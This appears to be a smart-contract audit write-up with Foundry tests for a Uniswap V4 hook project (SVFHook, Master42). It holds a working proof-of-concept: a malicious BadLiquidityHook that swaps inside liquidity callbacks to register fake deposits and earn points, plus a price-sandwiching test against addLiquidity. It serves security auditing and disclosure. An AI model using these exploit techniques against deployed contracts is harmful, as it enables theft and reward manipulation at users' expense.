Semantic Layer

// SPDX-License-Identifier: MITpragma solidity 0.8.26;
import "forge-std/Test.sol";import {IHooks} from "v4-core/src/interfaces/IHooks.sol";import {Hooks} from "v4-core/src/libraries/Hooks.sol";import {TickMath} from "v4-core/src/libraries/TickMath.sol";import {SqrtPriceMath} from "v4-core/src/libraries/SqrtPriceMath.sol";import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";import {PoolKey} from "v4-core/src/types/PoolKey.sol";import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";import {LiquidityAmounts} from "v4-core/test/utils/LiquidityAmounts.sol";import {IPositionManager} from "v4-periphery/src/interfaces/IPositionManager.sol";import {EasyPosm} from "./utils/EasyPosm.sol";import {Fixtures} from "./utils/Fixtures.sol";import {ERC721, ERC721TokenReceiver} from "solmate/src/tokens/ERC721.sol";import "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import "../src/hook/SVFHook.sol";import "../src/Master42.sol";import "../src/SVFToken.sol";import "../src/Warehouse13.sol";import "../src/Vesting.sol";import {WETH} from "solmate/src/tokens/WETH.sol";import {Upgrades} from "openzeppelin-foundry-upgrades/Upgrades.sol";import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {BaseHook} from "v4-periphery/src/utils/BaseHook.sol";import {BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {Deployers} from "v4-core/test/utils/Deployers.sol";
// The attacker's hook contract that will be attached to their custom Uniswap V4 poolcontract BadLiquidityHook is BaseHook {    uint160 public constant MIN_PRICE_LIMIT = TickMath.MIN_SQRT_PRICE + 1;    uint160 public constant MAX_PRICE_LIMIT = TickMath.MAX_SQRT_PRICE - 1;    BalanceDelta swapDelta;
    bool hasLiquidity;
    constructor(IPoolManager _manager) BaseHook(_manager) {}
    function _beforeAddLiquidity(        address,        PoolKey calldata poolKey,        IPoolManager.ModifyLiquidityParams calldata,        bytes calldata    ) internal override returns (bytes4) {        if (hasLiquidity) {            bool zeroForOne = true;            swapDelta = poolManager.swap(                poolKey,                IPoolManager.SwapParams(                    zeroForOne, 100_000_000_000 ether, zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT                ),                bytes("")            );        }        return IHooks.beforeAddLiquidity.selector;    }
    function _afterAddLiquidity(        address sender,        PoolKey calldata key,        IPoolManager.ModifyLiquidityParams calldata params,        BalanceDelta delta,        BalanceDelta feesAccrued,        bytes calldata hookData    ) internal override returns (bytes4, BalanceDelta) {        if (hasLiquidity) {            bool zeroForOne = false;            swapDelta = poolManager.swap(                key,                IPoolManager.SwapParams(zeroForOne, swapDelta.amount1(), zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT),                bytes("")            );        }        return (BaseHookUpgradeable.afterAddLiquidity.selector, toBalanceDelta(0, 0));    }
    function getHookPermissions() public pure override returns (Hooks.Permissions memory) {        return Hooks.Permissions({            beforeInitialize: false,            afterInitialize: false,            beforeAddLiquidity: true,            afterAddLiquidity: true,            beforeRemoveLiquidity: false,            afterRemoveLiquidity: false,            beforeSwap: false,            afterSwap: false,            beforeDonate: false,            afterDonate: false,            beforeSwapReturnDelta: false,            afterSwapReturnDelta: false,            afterAddLiquidityReturnDelta: true,            afterRemoveLiquidityReturnDelta: false        });    }}
contract SVFHookTest is Test, Fixtures, ERC721TokenReceiver {    using SafeCast for int128;    using EasyPosm for IPositionManager;    using PoolIdLibrary for PoolKey;    using CurrencyLibrary for Currency;    using StateLibrary for IPoolManager;
    uint256 constant MAX_DEADLINE = 12329839823;    uint160 SQRT_5000_1 = 5602277097478613991873193822745; //price = token1/token0 = 5000/1 = 5000    uint160 SQRT_2000_1 = 3543190000000000000000000000000; //price = token1/token0 = 2000/1 = 2000    uint160 SQRT_2100000_10 = 36306905189387912912677825629223;    uint256 internal ownerPrivateKey = 0xad111;    address internal owner = vm.addr(ownerPrivateKey);    uint256 internal aiPrivateKey = 0x0d3;    address internal ai = vm.addr(aiPrivateKey);    uint256 internal daoPrivateKey = 0xda0;    address internal dao = vm.addr(daoPrivateKey);
    int24 MIN_TICK;    int24 MAX_TICK;    int24 constant MAX_TICK_SPACING = 32767;
    SVFHook hook;    SVFToken svftoken;    Warehouse13 warehouse13;    Master42 master42;    Vesting vesting;    PoolId poolId;    Currency wethCurrency;    Currency svfCurrency;    uint256 svfTotalSupply = 42_000_000 ether;
    function setUp() public {        vm.label(owner, "owner");
        deployFreshManagerAndRouters();
        // those setup function calls the token.approve function for approval which do not work for eth. so we just deploy a random currency0 here.        wethCurrency = deployMintAndApproveWETH();        svfCurrency = deployMintAndApproveSVF();
        //MockERC20(address(Currency.unwrap(svfCurrency))).mint(address(this), 5000e18);
        //Deploy and approve posm        deployPosmWETH(manager);        approvePosmCurrency(wethCurrency);        approvePosmCurrency(svfCurrency);
        // Deploy warehouse13        address warehouse13Proxy = Upgrades.deployUUPSProxy(            "out/Warehouse13.sol/Warehouse13.json",            abi.encodeCall(Warehouse13.initialize, (address(svftoken), address(dao), address(ai)))        );        warehouse13 = Warehouse13(warehouse13Proxy);        vm.label(address(warehouse13), "warehouse13");
        //Deploy vesting contract        uint256 vestingAmount = svfTotalSupply * 90 / 100;        vesting = new Vesting(address(svftoken), address(warehouse13), vestingAmount, block.timestamp);
        // Deploy Master42        address master42Proxy = Upgrades.deployUUPSProxy(            "out/Master42.sol/Master42.json",            abi.encodeCall(Master42.initialize, (address(owner), address(ai), 10000000))        );        master42 = Master42(master42Proxy);        vm.label(address(master42), "master42");
        // Mint tokens to provide liquidity and send the rest to the warehouse13        // 21M go to the warehouse13 and the other 21M to provide liquidity        vm.prank(dao);        svftoken.mint();        vm.stopPrank();        console.log("svftoken total supply after mint", svftoken.totalSupply());
        // Transfer required SVF from DAO to test contract for initial liquidity        uint256 initialSvfLiquidityAmount = svfTotalSupply * 5 / 100;        vm.prank(dao);        svftoken.transfer(address(this), initialSvfLiquidityAmount);        vm.stopPrank();
        // Transfer vesting amount from DAO to Vesting contract        vm.prank(dao);        svftoken.transfer(address(vesting), vestingAmount);        vm.stopPrank();
        // Set vesting contract address in warehouse13        vm.startPrank(address(dao));        warehouse13.setVestingAddress(address(vesting));        vm.stopPrank();
        // Deploy the hook to an address with the correct flags        address flags = address(            uint160(Hooks.BEFORE_INITIALIZE_FLAG) ^ (0x4444 << 144) // Namespace the hook to avoid collisions        );        SVFHook hookImpl = new SVFHook();        // 2. find hook proxy address        bytes memory initializerData = abi.encodeCall(            SVFHook.initialize, (address(owner), address(manager), payable(address(posm)), address(master42))        );        bytes memory constructorArgs = abi.encode(address(hookImpl), initializerData); //Add all the necessary constructor arguments from the hook        deployCodeTo("ERC1967Proxy.sol:ERC1967Proxy", constructorArgs, flags);        hook = SVFHook(flags);        vm.label(address(hook), "hook");
        // approve hook        svftoken.approve(address(hook), type(uint256).max);        weth.approve(address(hook), type(uint256).max);
        // Whitelist token        vm.startPrank(owner);        hook.updateTokenWhitelists(Currency.unwrap(svfCurrency), true);        vm.stopPrank();
        // init a pool        key = PoolKey(wethCurrency, svfCurrency, 10_000, 3000, IHooks(address(hook)));        poolId = key.toId();        manager.initialize(key, SQRT_2100000_10);
        // Update the SVFHook address        vm.startPrank(owner);        master42.setHookAddressAndPoolId(address(hook), key.toId());        vm.stopPrank();
        vm.startPrank(owner);        master42.addPool(100, address(hook)); // lp token address        master42.addPool(100, address(svftoken)); // svf token        vm.stopPrank();
        MIN_TICK = TickMath.minUsableTick(key.tickSpacing);        MAX_TICK = TickMath.maxUsableTick(key.tickSpacing);
        // add some initial liquidity with svf and eth to the pool        //console.log("svf initial balance",  5000e18); // it should be 5000e18        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(            TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), svfTotalSupply * 5 / 100        );        uint256 amount0 = LiquidityAmounts.getAmount0ForLiquidity(            TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), liquidity        );        //vm.deal(user, 100 ether);
        console.log("initial liquidity", liquidity);        console.log("initial amount of ETH", amount0);
        (uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId());
        console.log("initial sqrt price", sqrtPriceX96);
        uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts(            sqrtPriceX96,            TickMath.getSqrtPriceAtTick(MIN_TICK),            TickMath.getSqrtPriceAtTick(MAX_TICK),            10e18,            initialSvfLiquidityAmount        );
        console.log(            "balance of svf before providing liquidity", IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this))        );        console.log("liquidity delta value", liquidityDelta);
        // Get some WETH        uint256 wethAmount = 10 ether;        weth.deposit{value: wethAmount}();
        modifyLiquidityRouter.modifyLiquidity(            key,            IPoolManager.ModifyLiquidityParams({                tickLower: TickMath.minUsableTick(key.tickSpacing),                tickUpper: TickMath.maxUsableTick(key.tickSpacing),                liquidityDelta: int128(liquidityDelta),                salt: 0            }),            ZERO_BYTES        );
        console.log("initial liquidity delta", liquidityDelta);        console.log(            "balance of svf after providing liquidity", IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this))        );
        //seedLiquidity(key, amount0, 50e18, MIN_TICK, MAX_TICK);    }
    function deployMintAndApproveSVF() internal returns (Currency currency) {        svftoken = new SVFToken("SVF Token", "SVF", 18, dao);
        address[9] memory toApprove = [            address(swapRouter),            address(swapRouterNoChecks),            address(modifyLiquidityRouter),            address(modifyLiquidityNoChecks),            address(donateRouter),            address(takeRouter),            address(claimsRouter),            address(nestedActionRouter.executor()),            address(actionsRouter)        ];
        for (uint256 i = 0; i < toApprove.length; i++) {            svftoken.approve(toApprove[i], type(uint256).max);        }
        return Currency.wrap(address(svftoken));    }
    function deployMintAndApproveWETH() internal returns (Currency currency) {        weth = new WETH();
        address[9] memory toApprove = [            address(swapRouter),            address(swapRouterNoChecks),            address(modifyLiquidityRouter),            address(modifyLiquidityNoChecks),            address(donateRouter),            address(takeRouter),            address(claimsRouter),            address(nestedActionRouter.executor()),            address(actionsRouter)        ];
        for (uint256 i = 0; i < toApprove.length; i++) {            weth.approve(toApprove[i], type(uint256).max);        }
        return Currency.wrap(address(weth));    }
    function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt)        internal        pure        returns (bytes32 positionKey)    {        // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt))        assembly ("memory-safe") {            let fmp := mload(0x40)            mstore(add(fmp, 0x26), salt) // [0x26, 0x46)            mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26)            mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23)            mstore(fmp, owner) // [0x0c, 0x20)            positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes
            // now clean the memory we used            mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt            mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt            mstore(fmp, 0) // fmp held owner        }    }
    function seedLiquidity(PoolKey memory _key, uint256 amount0, uint256 amount1, int24 tickLower, int24 tickUpper)        internal        returns (BalanceDelta delta)    {        (uint160 sqrtPriceX96,,,) = manager.getSlot0(_key.toId());        uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts(            sqrtPriceX96,            TickMath.getSqrtPriceAtTick(tickLower),            TickMath.getSqrtPriceAtTick(tickUpper),            amount0,            amount1        );
        IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({            tickLower: tickLower,            tickUpper: tickUpper,            liquidityDelta: int128(liquidityDelta),            salt: 0        });
        delta = modifyLiquidityRouter.modifyLiquidity(_key, params, ZERO_BYTES);    }
    // Run with `forge clean && forge test --via-ir --mt test_spearbit_addLiquidityCustomPoolWithHook -vvvv`    function test_spearbit_addLiquidityCustomPoolWithHook() public {        address attacker = makeAddr("attacker");
        // As seen in tests in Master42.t.sol        uint128 liquidity = 10;        vm.mockCall(            address(hook),            abi.encodeWithSelector(ISVFHook.totalLockedFullRangeLiquidity.selector, PoolId.unwrap(master42.poolId())),            abi.encode(liquidity)        );
        address flags = address(            uint160(                type(uint160).max & clearAllHookPermissionsMask | Hooks.AFTER_ADD_LIQUIDITY_FLAG                    | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG            )        );        deployCodeTo("MaliciousHook.t.sol:BadLiquidityHook", abi.encode(manager), flags);
        PoolKey memory attackerPoolKey =            PoolKey({currency0: wethCurrency, currency1: svfCurrency, fee: 0, tickSpacing: 3000, hooks: IHooks(flags)});
        assertNotEq(PoolId.unwrap(attackerPoolKey.toId()), PoolId.unwrap(master42.poolId()));
        vm.startPrank(attacker);        manager.initialize(attackerPoolKey, SQRT_2100000_10);
        deal(address(svftoken), attacker, 1e18);        deal(address(weth), attacker, 1e18);        svftoken.approve(address(hook), type(uint256).max);        weth.approve(address(hook), type(uint256).max);
        // Needs some initial liquidity        (uint256 uniNFTId,,) = hook.addLiquidity(            attackerPoolKey,            SVFHook.AddLiquidityParams({amount0Desired: 1e18, amount1Desired: 1e18, deadline: MAX_DEADLINE})        );
        // Estimated liquidity        (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId);        uint256 amt0 = 5 ether;        uint256 amt1 = 5 ether;        uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(            staringSqrtPriceX96,            TickMath.getSqrtPriceAtTick(MIN_TICK),            TickMath.getSqrtPriceAtTick(MAX_TICK),            amt0,            amt1        );
        console.log("Initial estimatedLiquidity", estimatedLiquidity);
        // Now second addLiquidity call to trigger the attack        deal(address(svftoken), attacker, amt0);        deal(address(weth), attacker, amt1);
        // Attacker adds liquidity to their pool via the hook's addLiquidity function. This should:        // 1. Add the liquidity to the attacker's pool, invoking the attacker's hook        // 2. Register a valid deposit in the `Master42` contract        (uniNFTId,,) = hook.addLiquidity(            attackerPoolKey,            SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline: MAX_DEADLINE})        );
        bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK, bytes32(uniNFTId));        uint128 actualLiquidity = manager.getPositionLiquidity(attackerPoolKey.toId(), positionKey);        console.log("actualLiquidity", actualLiquidity);
        // Attacker minted hook NFTs        assertEq(hook.balanceOf(attacker), 2);
        // Attacker registered deposit in Master42        (uint256 amount, uint256 pointsDebt) = master42.userInfo(0, attacker);        assertGt(amount, 0);        assertEq(pointsDebt, 0);
        vm.warp(1 days);
        // Attacker now has chat points available        assertGt(master42.availablePoints(attacker), 0);        vm.stopPrank();    }
    // [...]}

modifier assignTeam(address _user, Team _team) {    if (_team == Team.None) revert InvalidTeam();    if (userTeams[_user] == Team.None) {        userTeams[_user] = _team;        addressByTeam[_team].push(_user);    } else if (userTeams[_user] != _team) {        revert TeamAlreadyAssigned();    }    _;}

require(bytes(_message).length <= 1000, MessageTooLong());

uint256 balance = ERC20(svfToken).balanceOf(address(this));if ((totalSupply * 5) / 100 != balance) revert InvalidSVFBalance();

function approve(address, uint256) public pure override {    revert NoApproval();}
function setApprovalForAll(address, bool) public pure override {    revert NoApproval();}

require(_end > _start, InvalidRange());require(_end <= addressByTeam[_team].length, IndexOutOfBound());

function swapToImpactPrice(uint256 amt, address account)    public    returns (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256 token1After){    // Capture initial balances    uint256 initialWethBalance = weth.balanceOf(account);    uint256 initialSvfBalance = svftoken.balanceOf(account);
    // Check initial price    (uint160 initialSqrtPrice,,,) = manager.getSlot0(poolId);    console.log("Initial sqrtPriceX96:", initialSqrtPrice);    console.log("MIN_TICK sqrtPriceX96:", TickMath.getSqrtPriceAtTick(MIN_TICK));
    vm.startPrank(account);    swap(key, false, -int256(amt), ZERO_BYTES);    vm.stopPrank();
    // Capture final balances    uint256 finalWethBalance = weth.balanceOf(account);    uint256 finalSvfBalance = svftoken.balanceOf(account);
    return (initialWethBalance, initialSvfBalance, finalWethBalance, finalSvfBalance);}
function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt)    internal    pure    returns (bytes32 positionKey){    // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt))    assembly ("memory-safe") {        let fmp := mload(0x40)        mstore(add(fmp, 0x26), salt) // [0x26, 0x46)        mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26)        mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23)        mstore(fmp, owner) // [0x0c, 0x20)        positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes
        // now clean the memory we used        mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt        mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt        mstore(fmp, 0) // fmp held owner    }}
function test_addLiquidity_sandwiching() public {    address depositor = vm.addr(0x1234);    address swapper = vm.addr(0x1235);
    vm.startPrank(depositor);    weth.approve(address(hook), type(uint256).max);    svftoken.approve(address(hook), type(uint256).max);    vm.stopPrank();
    vm.startPrank(swapper);    weth.approve(address(swapRouter), type(uint256).max);    svftoken.approve(address(swapRouter), type(uint256).max);    vm.stopPrank();
    // starting price    (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId);    console.log("starting sqrt price", staringSqrtPriceX96);
    // Estimated liquidity    uint256 amt0 = 5 ether;    uint256 amt1 = 5 ether;
    uint256 initialSvfLiquidityAmount = (svfTotalSupply * 5 / 100) - amt1;    vm.startPrank(dao);    svftoken.transfer(swapper, initialSvfLiquidityAmount);    vm.stopPrank();
    vm.startPrank(dao);    svftoken.transfer(depositor, amt1);    vm.stopPrank();
    vm.deal(depositor, amt0);    vm.startPrank(depositor);    weth.deposit{value: amt0}();    vm.stopPrank();
    uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(        staringSqrtPriceX96,        TickMath.getSqrtPriceAtTick(MIN_TICK),        TickMath.getSqrtPriceAtTick(MAX_TICK),        amt0,        amt1    );
    console.log("Initial estimatedLiquidity", estimatedLiquidity);
    (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256 token1After) =        swapToImpactPrice(initialSvfLiquidityAmount, swapper);    console.log("token0BeforeSwap", token0Before);    console.log("token1BeforeSwap", token1Before);    console.log("token0AfterSwap", token0After);    console.log("token1AfterSwap", token1After);
    // manipulated price    (uint160 manipulatedSqrtPriceX96,,,) = manager.getSlot0(poolId);    console.log("manipulated sqrt price", manipulatedSqrtPriceX96);
    estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(        manipulatedSqrtPriceX96,        TickMath.getSqrtPriceAtTick(MIN_TICK),        TickMath.getSqrtPriceAtTick(MAX_TICK),        amt0,        amt1    );
    console.log("estimatedLiquidity", estimatedLiquidity);    assertGt(estimatedLiquidity, 0); // Protocol included 0 liquidity check on estimated liquidity
    vm.startPrank(depositor);    (uint256 uniNFTId, uint128 expectedLiquidity,) = hook.addLiquidity(        key, SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline: MAX_DEADLINE})    );    vm.stopPrank();    console.log("uniNFTId", uniNFTId);    console.log("expectedLiquidity", expectedLiquidity);
    // Check the actual liquidity from the position    bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK, bytes32(uniNFTId));    uint128 actualLiquidity = manager.getPositionLiquidity(poolId, positionKey);    console.log("actualLiquidity", actualLiquidity);
    // Unwind swap    uint256 swapperWeth = weth.balanceOf(swapper);    console.log("swapperWeth", swapperWeth);
    vm.startPrank(swapper);    swap(key, true, -int256(swapperWeth - token0Before), ZERO_BYTES);    vm.stopPrank();
    // Check the recorded liquidity from the master42 contract    (uint256 amount,) = master42.userInfo(0, depositor);    console.log("amount", amount);    assertEq(expectedLiquidity, amount);
    actualLiquidity = manager.getPositionLiquidity(poolId, positionKey);    console.log("actualLiquidity", actualLiquidity);    assertEq(expectedLiquidity, actualLiquidity);
    // // Check the final balances    uint256 finalWethBalance = weth.balanceOf(swapper);    uint256 finalSvfBalance = svftoken.balanceOf(swapper);    console.log("swapperFinalWethBalance", finalWethBalance);    console.log("swapperFinalSvfBalance", finalSvfBalance);    console.log("swapperSvfDifference", token1Before - finalSvfBalance);
    assertEq(finalWethBalance, token0Before);    // assertEq(finalSvfBalance, token1Before);}

processedTasks.push(_messageId);totalResponses++;